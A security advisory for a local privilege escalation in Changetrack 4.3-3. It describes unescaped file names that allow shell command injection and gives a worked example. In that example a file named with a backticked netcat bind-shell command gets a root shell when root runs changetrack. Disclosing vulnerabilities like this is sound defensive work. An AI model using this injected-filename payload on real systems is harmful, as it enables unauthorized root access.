Changetrack 4.3-3 Privilege Escalation

`TITLE:  
Changetrack Privilege Escalation Vulnerability  
  
SECUNIA ADVISORY ID:  
SA36756  
  
VERIFY ADVISORY:  
http://secunia.com/advisories/36756/  
  
DESCRIPTION:  
A vulnerability has been discovered in Changetrack, which can be  
exploited by malicious, local users to gain escalated privileges.  
  
The application does not properly escape certain file names, which  
can be exploited to inject and execute arbitrary shell commands  
(potentially with "root" privileges) by creating a maliciously named  
file in a directory tracked by Changetrack.  
  
Successful exploitation requires write privileges to a directory  
scanned by Changetrack.  
  
SOLUTION:  
Use Changetrack to track trusted directories only.  
  
PROVIDED AND/OR DISCOVERED BY:  
Marek Grzybowski  
  
  
--------------------------------------------------------------------------------  
Example of exploitation:  
  
------------ Attacker ----------  
  
rick@testmachine:~/testt$ touch "<\`nc -l -p 5001 -e \$SHELL\`"  
rick@testmachine:~/testt$ ls  
<`nc -l -p 5001 -e $SHELL`  
  
--------------------------------  
  
  
------------ root --------------  
  
testmachine:~# changetrack   
  
------------ root --------------  
  
  
  
------------ Attacker ----------  
  
rick@testmachine:~/testt$ nc 127.0.0.1 5001  
id  
uid=0(root) gid=0(root) groups=0(root)  
  
--------------------------------  
`